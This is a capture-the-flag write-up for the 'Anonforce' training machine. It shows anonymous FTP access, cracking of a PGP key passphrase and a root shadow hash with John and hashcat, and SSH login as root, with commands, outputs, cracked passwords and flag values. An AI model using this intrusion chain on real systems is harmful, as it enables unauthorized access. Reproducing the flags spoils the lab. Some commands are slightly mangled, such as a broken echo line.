

# Anonforce

## Task 1 Capture the flag

### Task 1-1: user.txt

#### Nmap

Start your nmap scan.

```
nmap -T4 -sV -sC <Machine IP>
```

```
kali@kali:~$ nmap -T4 -sV -sC 10.10.225.120
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-19 17:38 EDT
Nmap scan report for 10.10.225.120
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
ftp-anon: Anonymous FTP login allowed (FTP code 230)
drwxr-xr-x  2 0      0          4096 Aug 11 2019 bin
drwxr-xr-x  3 0      0          4096 Aug 11 2019 boot
drwxr-xr-x 17 0      0          3700 Jun 19 14:37 dev
drwxr-xr-x 85 0      0          4096 Aug 13 2019 etc
drwxr-xr-x  3 0      0          4096 Aug 11 2019 home
lrwxrwxrwx  1 0      0             33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx  1 0      0             33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 19 0      0          4096 Aug 11 2019 lib
drwxr-xr-x  2 0      0          4096 Aug 11 2019 lib64
drwx----- 2 0      0         16384 Aug 11 2019 lost+found
drwxr-xr-x  4 0      0          4096 Aug 11 2019 media
drwxr-xr-x  2 0      0          4096 Feb 26 2019 mnt
drwxrwxrwx  2 1000    1000        4096 Aug 11 2019 notread [NSE: writeable]
drwxr-xr-x  2 0      0          4096 Aug 11 2019 opt
dr-xr-xr-x 100 0      0             0 Jun 19 14:37 proc
drwx-----  3 0      0          4096 Aug 11 2019 root
drwxr-xr-x 18 0      0           540 Jun 19 14:37 run
drwxr-xr-x  2 0      0         12288 Aug 11 2019 sbin
drwxr-xr-x  3 0      0          4096 Aug 11 2019 srv
dr-xr-xr-x 13 0      0             0 Jun 19 14:37 sys
_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
ftp-syst:
STAT:
FTP server status:
  Connected to ::ffff:10.6.47.43
  Logged in as ftp
  TYPE: ASCII
  No session bandwidth limit
  Session timeout in seconds is 300
  Control connection is plain text
  Data connections will be plain text
  At session startup, client count was 1
  vsFTPD 3.0.3 - secure, fast, stable
_End of status
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
  2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
  256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.80 seconds
```

Port 21 (FTP) and port 22 (SSH) are open.

# FTP

Connect to FTP as Anonymous with a blank password.

```
kali@kali:~$ ftp 10.10.225.120
Connected to 10.10.225.120.
220 (vsFTPd 3.0.3)
Name (10.10.225.120:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

Seems like the whole system is on FTP, notread is unusual.

```
150 Here comes the directory listing.
drwxr-xr-x  2 0      0      4096 Aug 11  2019 bin
drwxr-xr-x  3 0      0      4096 Aug 11  2019 boot
drwxr-xr-x 17 0      0      3700 Jun 19 14:37 dev
drwxr-xr-x 85 0      0      4096 Aug 13  2019 etc
drwxr-xr-x  3 0      0      4096 Aug 11  2019 home
lrwxrwxrwx  1 0      0          33 Aug 11  2019 initrd.img → boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx  1 0      0          33 Aug 11  2019 initrd.img.old → boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 19 0      0      4096 Aug 11  2019 lib
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drwx----- 2 0      0     16384 Aug 11  2019 lost+found
drwxr-xr-x  4 0      0      4096 Aug 11  2019 media
drwxr-xr-x  2 0      0      4096 Feb 26  2019 mnt
drwxrwxrwx  2 1000   1000   4096 Aug 11  2019 notread
drwxr-xr-x  2 0      0      4096 Aug 11  2019 opt
dr-xr-xr-x 92 0      0          0 Jun 19 14:37 proc
drwx----- 3 0      0      4096 Aug 11  2019 root
drwxr-xr-x 18 0      0      540 Jun 19 14:37 run
drwxr-xr-x  2 0      0     12288 Aug 11  2019/sbin
drwxr-xr-x  3 0      0      4096 Aug 11  2019/srv
dr-xr-xr-x 13 0      0          0 Jun 19 14:37 sys
drwxrwxrwt  9 0      0      4096 Jun 19 14:37 tmp
drwxr-xr-x 10 0      0      4096 Aug 11  2019/usr
drwxr-xr-x 11 0      0      4096 Aug 11  2019/var
lrwxrwxrwx  1 0      0          30 Aug 11  2019 vmlinuz → boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx  1 0      0          30 Aug 11  2019 vmlinuz.old → boot/vmlinuz-4.4.0-142-generic
226 Directory send OK.
```

Move to "notread" directory, transfer both files using `get`.

```
get private.asc
```

```
get backup.pgp
```

```
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx  1 1000   1000   524 Aug 11  2019 backup.pgp
-rwxrwxrwx  1 1000   1000  3762 Aug 11  2019 private.asc
226 Directory send OK.
```

Move to the the user's directory to look for "user.txt".

```
ftp> pwd
257 "/home/melodias" is the current directory
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r-- 1 1000 1000 33 Aug 11 2019 user.txt
226 Directory send OK.
ftp> get user.txt
```

```
kali@kali:~/Desktop/TryHackMe/anonForce$ cat user.txt
606083fd33beb1284fc51f411a706af8
```

## Task 1-2: root.txt

### Decrypting the backup file

We are missing the passphrase before being able to decrypt this backup.pgp file. Use gpg2john to get a hash that "John the Ripper" will crack.

```
gpg2john private.asc > hash_for_john.txt
```

```
john hash_for_john.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Show the password John cracked.

```
/sbin/john hash_for_john.txt --show
```

```
kali@kali:~/Desktop/TryHackMe/anonForce$ john hash_for_john.txt --show
anonforce:xbox360:::anonforce <melodias@anonforce.nsa>::private.asc

1 password hash cracked, 0 left
```

The passphrase is "xbox360".

First import the key using passphrase "xbox360".

```
gpg --import private.asc
```

```
kali@kali:~/Desktop/TryHackMe/anonForce$ gpg --import private.asc
gpg: key B92CD1F280AD82C2: public key "anonforce <melodias@anonforce.nsa>" imported
gpg: key B92CD1F280AD82C2: secret key imported
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: Total number processed: 2
gpg:      imported: 1
gpg:      unchanged: 1
gpg:      secret keys read: 1
gpg:      secret keys imported: 1
```

Decrypt the backup.pgp and output the contents to a file.

```
gpg --output decrypted_msg.txt --decrypt ./backup.pgp
```

```
kali@kali:~/Desktop/TryHackMe/anonForce$ gpg --output decrypted_msg.txt --decrypt ./backup.gpg
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
"anonforce <melodias@anonforce.nsa>"
```

Read the contents of the decrypted backup.

```
kali@kali:~/Desktop/TryHackMe/anonForce$ strings decrypted_msg.txt
root:$6$07nYFaYf$F4Vmaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18120:0:99999:7:::
uidd:*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
sshd:*:18120:0:99999:7:::
ftp:*:18120:0:99999:7:::
```

This seems to be a /etc/shadow file.

## Cracking hash

Let's crack root's hash. Create a file and put the hash into it.

```
echo
```

```
"\x6\x07nYFaYf\xF4Vmaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0" > root.hash
```

Using hashid we can determine which hash type it is, you can also take a look at [https://hashcat.net/wiki/doku.php?id=example\\_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) and look for a similar hash.

```
hashid root.hash
```

```
kali@kali:~/Desktop/TryHackMe/anonForce$ hashid root.hash
--File 'root.hash'--
Analyzing '$6$07nYFaYf$F4Vmaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0'
[+] SHA-512 Crypt
```

Use hashcat or John to crack the hash, we will be using hashcat in this case.

```
hashcat -a0 -m1800 root.hash /usr/share/wordlists/rockyou.txt
```

```
kali@kali:~/Desktop/TryHackMe/anonForce$ hashcat -a0 -m1800 root.hash /usr/share/wordlists/rockyou.txt --show
$6$07nYFaYf$F4Vmaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bs0IBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:hikari
```

Root's password is hikari.

## SSH

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SSH to root using password "hikari".

```
ssh root@<Machine IP>
```

```
kali@kali:~/Desktop/TryHackMe/anonForce$ ssh root@10.10.225.120
The authenticity of host '10.10.225.120 (10.10.225.120)' can't be established.
ECDSA key fingerprint is SHA256:5evbK4JjQatGFwpn/RyHt5C3A6banBkqngz4IVXyz0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.225.120' (ECDSA) to the list of known hosts.
root@10.10.225.120's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
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applicable law.

root@ubuntu:~# whoami
root
```

Flag is in the /root directory.

```
root@ubuntu:~# ls -l
total 4
-rw-r--r-- 1 root root 33 Aug 11 2019 root.txt
root@ubuntu:~# cat root.txt
f706456440c7af4187810c31c6cebdce
```